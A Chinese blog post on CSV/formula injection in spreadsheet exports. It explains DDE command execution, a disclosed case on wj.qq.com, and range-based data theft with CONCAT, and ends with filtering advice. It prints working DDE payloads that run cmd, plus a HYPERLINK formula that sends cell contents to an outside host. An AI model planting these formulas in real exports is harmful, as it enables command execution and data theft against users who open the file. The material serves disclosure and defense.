0x01 概述
现在很多应用提供了导出电子表格的功能(不限于 Web 应用),早在 2014 年 8月 29 日国外 James Kettle 便发表了《Comma Separated Vulnerabilities》文章来讲述导出表格的功能可能会导致注入命令的风险,因为导出的表格数据有很多是来自于用户控制的,如:投票应用、邮箱导出。攻击方式类似于 XSS :所有的输入都是不可信的。

0x02 公式注入 & DDE
我们知道在 Excel 中是可以运行计算公式的: =1+5,它会将以 = 开头的单元格内容解释成公式并运行,单纯的运行计算公式可能没什么用,但这里可以用到 DDE 。Dynamic Data Exchange(DDE)是一款来自微软的古老技术,它是 Windows 下的一种跨进程通信的协议,支持 Microsoft Excel, LibreOffice 和 Apache OpenOffice。

执行 cmd 弹出计算器:

=cmd|’ /C calc’!A0

当然也可以使用 -cmd ,+cmd 来执行 DDE ,这个问题在2014年进行了修复(CVE-2014-3524),所以我们现在注入命令执行时软件会有如下的提示:


这也就是现在这个漏洞类型的特殊性,虽然软件有着这样的安全风险提醒但仍有大量的厂商承认并修复潜在的漏洞威胁:

https://hackerone.com/reports/90274
https://hackerone.com/reports/111192

其中很大的一方面是由于信任域的原因导致用户仍可能受到攻击,用户在 security.com 域下导出自己的Guestbook.csv ,但由于恶意用户偷偷的在留言板中插入了恶意代码:

POC

=HYPERLINK("https://www.lianlianpay.com?test="&A2&A3,"Error: Please click me!")

这样就导致当用户在导出报表后倘若点击了某个单元格则会导致 A2,A3 的单元格内容泄露:

攻击者通过查看服务器访问日志记录就知道你表格有什么内容了

所以说这个漏洞是要看背景的,由于它的特殊性(当然也可以配合社工),也就会出现厂商在审核此类漏洞时明明是一个 CSV Injection 漏洞但不会确认修复的情况。

0x03 实例
之前报告给腾讯的《CSV Injection on wj.qq.com》漏洞(已经修复):
用户发起投票后,攻击者可以注入CSV 公式/DDE代码,之后管理员进入投票结果页面导出 EXCEL :

/tmp cat 465864_seg_1.csv
"编号","开始答题时间","结束答题时间","自定义字段","1.您使用过xx网吗?","2.您的性别","3.您的年龄?","4.您的婚姻状况","5.您的最高学历","6.您的月收入(或每月生活费)","7.您是否觉得xx网很容易找到","8.您对网站logo的满意程度(logo即网站的品牌标识)","9.对导航栏目的满意程度","10.对网站页面设置及布局的满意程度","11.对网站内容编排的满意程度","12.对网站色彩风格的满意程度","13.对网站字体的满意程度","14.与同类网站相比,您对xx上的价格满意吗","15.您对xx目前整体的产品质量水平感觉如何","16.您觉得xx上的商品信息的可信度怎么样","17.您觉得xx的售后服务怎么样","18.您觉得xx更新信息的及时性怎么样","19.您的咨询或抱怨通常会得到及时的回复吗","20.您觉得xx的交易和评价几率真实可靠吗","21.您觉得xx网能很好的保证交易时的安全性吗","22.123123123",
"1","2016-04-27 19:26:45","2016-04-27 19:27:27","","A.使用过","A.男","C.26-30岁","B.未婚","D.本科","I.不方便透露","B.否","3","3","3","3","3","3","3","3","3","3","3","A.是","A.是","A.是","",
"2","2016-04-27 19:27:30","2016-04-27 19:28:09","","A.使用过","A.男","D.31-40岁","B.未婚","B.高中/中专","D.3001-5000元","A.是","3","3","4","4","4","4","4","4","4","4","4","A.是","B.否","A.是","=cmd|'/k ipconfig'!A0",

可以看到在用户留言的字段,成功的注入:=cmd|’/k ipconfig’!A0 ,当然也可以通过不触发安全警告的前提下窃取管理员导出的 CSV 数据,也就是前面提到的 =HYPERLINK 。

0x04 关于全文信息泄露
之前使用 &A1&A2&A3&A4 窃取表单数据的方式看起来有点笨重,我找到了一种新的方法来更方便的窃取全文信息:https://support.office.com/en-us/article/CONCAT-function-9b1a9a3f-94ff-41af-9736-694cbd6b4ca2?ui=en-US&rs=en-US&ad=US

APPLIES TO: Excel 2016, Excel Online, Excel for Android tablets, Excel Mobile, Excel for Android phones, Less.

2016 之前的 excel 和其他的版本的连接字符串的函数 concatenate 不支持 cell range 的语法,也不能自定义函数,这样的话就没有办法简写,只能生成比较长的url,但 2016 之后的 excel 我们可以使用 concat 函数,支持传入一个 range,比如 concat(A1:A10) ,这样便能直接读取整个表格中的数据。

0x05 修复方案
过滤公式所用到的特殊字符(不应盲目过滤),因为个别情况下可能会影响产品的正常功能使用:

手机号码 +86 xxxxx
邮箱地址 @test.com
字符串 test-injection

0x06 参考
http://www.contextis.com/resources/blog/comma-separated-vulnerabilities/
http://www.freebuf.com/vuls/102790.html
https://hackerone.com/reports/90274
https://support.office.com/en-us/article/CONCAT-function-9b1a9a3f-94ff-41af-9736-694cbd6b4ca2?ui=en-US&rs=en-US&ad=US

CSV XLS 表格命令注入执行相关推荐

  1. 墨者学院12 命令注入执行分析

    问题描述 题目链接:命令注入执行分析 背景介绍:某单位IT运维人员,在服务器上留了一个页面用来ping内部服务器连通情况.安全工程师"墨者"检查发现这一文件存在漏洞,要求运维人员立 ...

  2. RCE 远程命令代码执行漏洞

    什么是REC Remote Command/Code Execute,远程命令或者代码执行.通过构造特殊的字符串,将数据提交到WEB应用程序,并利用该方式外部程序或命令进行攻击,类似SQL注入. We ...

  3. “鑫胖”家的红星3.0系统被曝漏洞,可远程执行任意命令注入

    作为一个自主知识产权发展强国,朝鲜以极为高冷的姿态发展着电子科技行业,还有他们自己的操作系统.这款著名的RedStar OS 3.0名字虽然霸气,但安全性据说实在不怎么样.近日,黑客团队Hacker ...

  4. Linux命令行执行sqlite3命令创建表格,插入数据,获取数据

    Linux命令行执行sqlite3命令创建表格,插入数据,获取数据 文章目录 Linux命令行执行sqlite3命令创建表格,插入数据,获取数据 1-进入sqlite3 2-创建数据库 3-创建表 4 ...

  5. 远程命令执行/命令注入 之 命令连接符

    目录 一.理论 二.实践 windows 10 a | b a || b a && b a & b kali linux a | b a || b a && b ...

  6. PHP命令注入 Command injection

    命令注入攻击(Command Injection),是指黑客通过利用HTML代码输入机制缺陷(例如缺乏有效验证限制的表格域)来改变网页的动态生成的内容.从而可以使用系统命令操作,实现使用远程数据来构造 ...

  7. java 漏洞挖掘_Apache Tika命令注入漏洞挖掘

    *本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担. 介绍 这篇文章将从一个Apache tika服务器的命令注入漏洞到完全利用的步骤. ...

  8. 修改jar 注入_Apache Tika命令注入漏洞挖掘

    介绍 这篇文章将从一个Apache tika服务器的命令注入漏洞到完全利用的步骤.CVE是https://nvd.nist.gov/vuln/detail/CVE-2018-1335.由于Apache ...

  9. 导致命令注入漏洞的php函数,PHP安全-函数

    函数 在我写作本书的时候,http://www.gxlcms.com/列出了共3917个函数,其中包括一些类似函数的语法结构,在此我不准备把它们从函数中区分开来,而是把它作为函数看待. 由于函数数量很 ...

最新文章

  1. VS2015自定义类模板的方法
  2. nagios利用pyfetion报警最新
  3. dm9000 driver 2
  4. java 数学表达式解析插件_数学表达式解析-JAVA版
  5. 安全模式 提权_记一次渗透挖洞提权实战
  6. VIP客户服务系统设计(外传)——面对变化的“世界”
  7. 知识图谱组队学习Task01——知识图谱介绍
  8. 这二十个问题,可能是你技术人生中已经或即将遭遇的痛点,怎么解?
  9. SpringBoot+zxing批量生成二维码_南国
  10. 唐太宗灵州受降【会盟】的意义
  11. 我承认我不曾历经沧桑 (蒋方舟)
  12. EOF和BOF的区别
  13. 开发者必须mark的一款2D移动游戏开发工具
  14. 金额数字转换(小写转大写)
  15. 解决 Navicat 无法导入带外键的json 亲测有效!
  16. NC65开发使用UAP-STUDIO6.5发布WebService
  17. 从零开始学习主成分分析
  18. GC 疑难情况问题排查与分析(上篇)
  19. Guice笔记_补充
  20. 国外顶级软件开发工具和平台汇总

热门文章

  1. 碧蓝航线装备黑话指南
  2. 腾讯Java开发面试凉凉,Redis灵魂14问?看完直接跪服
  3. hc:目标 7.0 问题
  4. 计算机应用基础模拟试卷(五),计算机应用基础模拟试卷..pdf
  5. 第二课:句子成分与基本句型
  6. Android MTK N 平台上如何在桌面上添加未接来电和未接信息数字角标
  7. 如何使用docker快速安装mysql并设置开机自启
  8. 饥荒服务器身份验证错误,windows 2008/2012/2016/10系统远程连接出现身份验证错误解决办法...
  9. 小姐姐,你的发丝高光怎么用 Creator 3D 实现?
  10. html九宫图div满屏居中,九宫格+DIV水平居中+div垂直居中+div内部文本居中+div内div居中...